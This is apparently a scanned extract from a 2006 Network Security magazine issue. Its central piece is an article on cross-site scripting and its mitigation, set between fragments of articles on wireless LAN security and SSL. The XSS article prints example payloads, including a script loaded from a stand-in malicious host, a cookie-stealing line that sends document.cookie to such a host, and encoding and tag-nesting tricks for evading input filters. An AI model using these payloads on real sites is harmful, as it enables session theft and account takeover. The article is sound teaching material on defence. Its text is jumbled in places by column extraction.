WIRELESS LAN

usability of security technologies, and details of other related papers can be obtained from www.plymouth.ac.uk/nrg. Dr Bogdan Ghita is a senior lecturer within the Network Research Group at the University of Plymouth, where he has supervised a number of projects relating to the use and security of Wireless LAN systems. Dr Ghitas wider research interests encompass a range of networking and security-related issues. (i) Khan, J. and Khwaja, A. 2003. Building secure wireless networks with 802.11, Wiley, Indianapolis. (ii) Wi-Fi Alliance. 2002. Wi-Fi Alliance Announces Standards-Based Security Solution to Replace WEP, Press Release, Wi-Fi Alliance, 31 October 2002. http://www.wifi.org/OpenSection/ReleaseDisplay.as p?TID=4&ItemID=118&Str (iii) Stats page, The Official WorldWide WarDrive website, http://www.worldwidewardrive.org/wwwdstats.html (accessed January 2006). (iv) Belkin. 2003. Belkin Wireless Access Point User Manual F5D7130, http://www.belkin.com/support/dow nload/downloaddetails.asp?file_id=11 13 (accessed January 2006) (v) Belkin. 2003. FAQ: What is Wi-Fi Protected Access?, Belkin Knowledge Base Article ID: 2812, 26 June 2003, http://www.belkin.com/support/kb/kb. asp?a=2812 (accessed January 2006) (vi) DLink. 2005. D-Link AirPlus Xtreme G DWL-2100AP 802.11g Wireless 108Mbps Access Point - Manual, ftp://ftp.dlink.com/Wireless/dwl2100A P/Manual/DWL-2100ap_manual_062 92005.zip (accessed January 2006) (vii) Linksys. 2005. Wireless-G Access Point User Guide WAP54G. http://www.linksys.com/servlet/Satellite ?blobcol=urldata&blobheadername1=C ontent-Type&blobheadername2=Cont ent-Disposition&blobheadervalue1= application%2Fpdf&blobheadervalue2=inline%3B+filename%3DWAP54 G-v3_ug.pdf&blobkey=id&blobtable =MungoBlobs&blobwhere=11269900 60705&ssbinary=true (accessed January 2006) (viii) Netgear. 2005. Reference Manual for the NETGEAR 54 Mbps Wireless Access Point WG602v3, February 2005, http://kbserver.netgear.com/pdf /WG602v3_RM_28Feb05.pdf (accessed January 2006) (ix) 3Com. 2003. OfficeConnect Wireless 11g Access Point - User Guide - 3CRWE454G72, 3Com, July 2003. http://support.3com.com/infodeli/tools /hubs/off-con/pdf/dua0045-4aaa01rev 01.pdf (accessed January 2006).

WEB INJECTION ATTACKS

Web Injection Attacks

h e t s e m a p c n t a w e n o ] a i ? , n e c p f [ h o g ] x e t a d lm u i [ a r o t r e fs p l
David Morgan This article will be the first in a series that will review web application security issues and provide suggestions on how to avoid the classic pitfalls. This particular article will discuss code injection and specifically cross site scripting. Injection into application elements other than the web server and the client (i.e. SQL injection) will be discussed in later articles.

Posting a message to a public forum with a malicious scripting element will likely affect any user visiting that page. Failed URL access attempts with malicious code may appear redundant, however may prove a valid attack vector should an administrator be using a HTML compliant log viewer.

Cross site scripting

A very popular code insertion attack method is Cross Site Scripting. It is very common to find site search scripts vulnerable to this particular attack A typical attack which may arrive via an email may be a link such as the following:
<A HREF=http://www.example.com/sitesearch.pl?val=<SCRIPT SRC=http://www.malicoussite.com/exploit.js></SCRIPT>>search example.com</A>

What is code injection?

The ability to successfully exploit a code injection/insertion attack is based upon the functionality provided by the users browser. All browsers will interpret the overwhelming majority of instructions in a similar manner, however discrepancies in the handling of esoteric code may result in a radically different outcome between Internet Explorer and, say, Firefox. This article will focus upon the common cross browser insertion methods available, with the occasional mention of browser-specific issues. The content received by a client from a web server will have specific commands within the HTML that will control its appearance, commands such <STYLE>, <BODY> and <A HREF=..>. More interesting functionality can introduced with other commands such <SCRIPT> and <APPLET>. It is these HTML commands that are typically abused in order to perform a code insertion attack, each having a different purpose:
8

SCRIPT Implements a script within the page, typical examples are JavaScript or VBScript. APPLET Inserts a Java applet within the page. EMBED/OBJECT Inserts an object, typically multimedia into the page, EMBED has been phased out in HTML 4 in favour of OBJECT. FORM Used to indicate the start and end of a form which would be completed by the user.

Whilst these HTML tags will be the typical targets of a malicious user, it should be kept in the mind that inline scripting methods can be abused as well i.e. javascript:alert(test). All code injection attacks vary considerably depending on their delivery method which in turn would alter their affected audience: An attack against your personal details page of an online store would affect you and any admin personnel that may be required to view your details, however other users are unlikely to be affected.

This form of attack is especially nasty as it can be trivially deployed to the intended victim through a link in an email or on a web page, appears to originating from www.exam ple.com and as the exploit code resides upon a remote site the attacker retains control over its content and can remove it at any point. A common means of testing your sites susceptibility to this attack, and one you will likely have witnessed in any application assessment report is the following safely executable code:
www.site-to-betested.com/script.pl?param=bla<SCRIPT>al ert(vuln)</SCRIPT>

Network Security

March 2006

WEB INJECTION ATTACKS

Should this particular script and parameter be susceptible, a popup box with the text vuln will appear within the browser when executed. With complicated scripts each parameter would require checking individually. The cross site nature of this attack is due to the ability to break the security restrictions of the client browser. For example you may have a configuration that allows the execution of scripts from your Intranet site but not from others. This attack would allow the execution of a malicious script from a 3rd party site as it is executed as if it came from the Intranet site. The previous examples relied on a user clicking upon a link. However, further valid attack vectors include abuse of the HTML tags such IMG and IFRAME which would be automatically executed when the page is viewed. The most common use for these attack vectors by malicious individuals is to steal user authentication and session management cookies. An attacker would send a link to their victim with a link to a vulnerable site the user visits and has a cookie for. The malicious script would include code to send the cookie to the malicious users site. The attacker is now in a position to access the vulnerable site as the victim user with their cookie acting as authentication. An example attack could take the following form:
<img src=http://www.example.com/vuln.pl?par am=<script>document.location .replace(http://www.malioussite.com/exploit.pl?+document.cookie);</script>>

responsible developer would need to restrict the allowed input only to those characters required, and then to test the filter in a number of ways to ensure it is effective. An often encountered means of interpreting these special characters within web applications is to the HTML escape encoding of them, for example the < character becomes %3c. An attacker could use this encoding scheme to bypass filtering routines, for example a filter may look for and remove the characters < and > from any supplied data to prevent the oftenabused <SCRIPT> and </SCRIPT> tags. An encoded attacker would successfully bypass the filter with a string such as %3cSCRIPT%3e.

result in the malicious tag still being passed i.e. removing <SCRIPT> from <SCR<SCRIPT>IPT> still results in <SCRIPT> being passed to the application. Whilst the issue of sanity checking data prior to passing it to any backend process such as a database for processing is obviously critical, one of the most effective means of protecting your users from cross site scripting or code insertion attacks is to HTML encode all special characters prior to displaying them to the user. A web site with a vulnerable search script may allow the insertion of code which would result in code execution i.e.
<SCRIPT>alert(vuln)<SCRIPT>.

Wherever possible, scripts should be configured to utilise the POST method and the GET method should be disabled
In other cases an application may identify the presence of a script and prior to delivering it to the client would comment it out to prevent execution. An example page presented to the user may look like:
<COMMENT> Malicious code </COMMENT

Now if all the special characters are encoded, the attackers malicious code is still returned to the user in the page, however in a non-executable state i.e.
%3cSCRIPT%3ealert%28%27vuln%27 %29%3c%2fSCRIPT%3e

GETs and POSTs

Web applications typically utilise two HTTP Methods to receive user supplied data: GET and POST. The majority of scripts that are designed to utilise POST method also support the GET method unintentionally. Take the following POST exploit:
POST /Search HTTP/1.0 Referer: http://www.example.com/Search Accept-Language: en-gb Content-Type: application/x-www-formurlencoded Host: www.example.com Content-Length: 135 Pragma: no-cache variable=Search&a=\><script>alert(vul n)</script>remainingparams=aaa

Mitigating against code insertion

The key to successfully preventing code insertion attacks is appropriate filtering, not always an easy task with what could be extensive and complicated input requirements. The first stage of implementing a successful filter is to assess the data input requirements - for example a phone number field would only require digits, and name fields would only require the alphabet and possibly the hyphen. Fields requiring more complex data such as search, or free text, boxes will often require allowing the majority of characters whilst excluding known bad characters, examples of which include:
;/\?:<>#[]{}()~%^|@=

Upon recognising this an attacker would prepend their malicious code with comment terminating code which would result in the following being presented to a user:
<COMMENT> </COMMENT> Malicious code </COMMENT>

There is no off the shelf filter that is guaranteed to prevent code insertion attacks, a

A further common mistake often identified in assessments is the attempt to identify and remove known bad data and subsequently pass it on to the application. This is an extremely perilous method to adopt, and instead all the data should be removed. Assume this approach is adopted for the HTML tag <SCRIPT>, the filter would need to be capable of: Identifying all variations of <SCRIPT> i.e %3cSCRIPT%3e, %3C%53%43%52%49%50%54%3E, etc. Identify tags within tags such as the removal of a known bad tag does not

This would require a user to visit the page themselves and enter the exploit code, it would not possible to entice the mail to be tricked via an email for example. However the same POST could be converted to a GET request and therefore into a URL which could be sent to unsuspecting users:
http://www.example.com/Search?variable=Search&a=\><script>alert(vuln)</sc ript>remainingparams=aaa

Wherever possible, scripts should be configured to utilise the POST method and the GET method should be disabled.
9

March 2006

Network Security

WEB INJECTION ATTACKS

Surprising scenarios
Web Application developers create applications to be utilised by web browsers. Often an assumption is made that people will be using a particular browser, or, as sometimes is the case, browser specific features are utilised. It is however imperative that the application be tested with all the commonly available browsers as strange things can happen when you assume too much. Internet Explorer for example does not require the special character > to close two of the common HTML tags; IFRAME and IMG, this is the case as the browser will automatically add them when the page is viewed by the user. NGS, upon assessments, has come across filtering code which will remove all user supplied data that appear between the characters < and >, as you imagine this is pretty effective until you appreciate the significance of the two previously mentioned tags. A classic attack may be as follows:
http://www.example.com/vuln.pl?var=<i mg src=javascript:alert(document.location) name=>

trailing > the following code would work (it no longer matches the filter):
http://www.example.com/vuln.pl?var=<i mg src=javascript:alert(document.location) name=

An often-seen approach to prevent the execution of javascript is to capitalise all user supplied data i.e. javascript:alert() is valid however javascript:ALERT() is not. The way to bypass this filtering is double encode our data. If for example we wish to pass the word alert to the application, the process would be as follows: Pass within the URL the following: %2561%256c%2565%2572%2574. This gets URL decoded to %61%6c%65%72%74 and capitalized by the application, resulting in no change. We can then use eval to dynamically execute our string which will URL decode to alert, i.e. a further URL decode of %61%6c%65%72%74.

core to todays businesses, the potential of your users being compromised through a lack of web application security has never been higher. Cross site scripting and related issues are often demonstrated with the popup vuln box which can often at first side appear trivial. It is vital to note that assessment consultants would be able through the same weakness to launch far more devastating attacks. However, we have no desire to steal user data. Through effective filtering, organisations can prevent their users becoming the next victims and their reputation being tarnished through what is a comparatively simple attack.

About the author

David Morgan CISSP is Principal Security Consultant, Next Generation Security Software Ltd. He has ten years hands-on experience designing and managing secure high availability network environments, and six years experience in providing security consultancy advice from the offensive perspective. At NGS he is responsible for the delivery of security consultancy services, backed by NGSs research team, bug hunters, and penetration testers. Formerly a Senior Consultant of ISS X-Force Security Assessment Services, David is also co-author of the ISS Ethical Hacking course.

Conclusions
Web application development is becoming increasingly more popular and nearly every business has at least one if not more applications accessible to the public. Whilst provision of convenient and essential services is

This would however not execute as everything between the < and > tags is removed. However as we can leave off the

SSL

Securing online business with SSL

Steve Waite, Director, GeoTrust Europe While it has become more convenient to do business online, it has also become more difficult Steve Waite to ensure reliable and secure data exchange and communications. Continually evolving security threats and changing regulatory standards can make maintaining a trusted online environment a challenge for any size enterprise. In this article, well prioritise our recommended security practices for building online trust both inside and outside your enterprise. networks can be compromised, ultimately These guidelines do not claim to be comprehensive, but are focused on the most crit- affecting business continuity and the bottom ical areas every enterprise needs to adopt line. SSL safeguards network access, online from running Secure Sockets Layer (SSL) on communications and digital transactions by servers to supplying client side SSL certifienabling a secure channel between servers cates to employees, to establishing solid poli- and users. It is the most widely deployed cies and procedures for security and embrac- security protocol in the world, and we ing paperless transactions. believe it should be deployed on any and all Without SSL encryption, the integrity servers to protect any confidential and perof data exchanged over public and private sonal information that is passing from
10

browser to server. It is used today to secure web sites, intranets, extranets and other server-based applications. Awareness and understanding of the benefits of SSL technology has expanded considerably over the past several years. More and more users, both professional and non-professional are looking for the lock symbol in their browser indicating that a session is encrypted with SSL. Millions of sites have installed the X.509 special server digital certificate that activates SSL between browsers and servers. The support for SSL is already built into all modern web browsers and servers so all that is needed from the enterprise perspective is the simple installation of the certificate on the server. Once the browser and server perform their handshake, all data transmitted from one to the other is encrypted, preventing any eavesdropping that might jeopardise the security or integrity of the data transmission.

PKI has moved on

Public Key Infrastructure (PKI) is a tool to enable online applications to be used in ways

Network Security

March 2006